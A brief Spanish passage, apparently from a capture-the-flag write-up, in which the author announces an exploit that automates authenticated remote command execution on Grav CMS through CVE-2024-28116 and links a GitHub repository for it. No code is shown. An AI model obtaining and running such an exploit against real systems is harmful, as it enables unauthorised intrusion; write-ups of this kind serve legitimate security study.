Decidí crear un exploit el cual automatiza todo el proceso de ejecución remota de comandos para Grav CMS
usando la vulnerabilidad CVE-2024-28116 utilizada en este WriteUp. Para obtenerla, simplemente visitar: https://github.com/gunzf0x/Grav-CMS-RCE-Authenticated.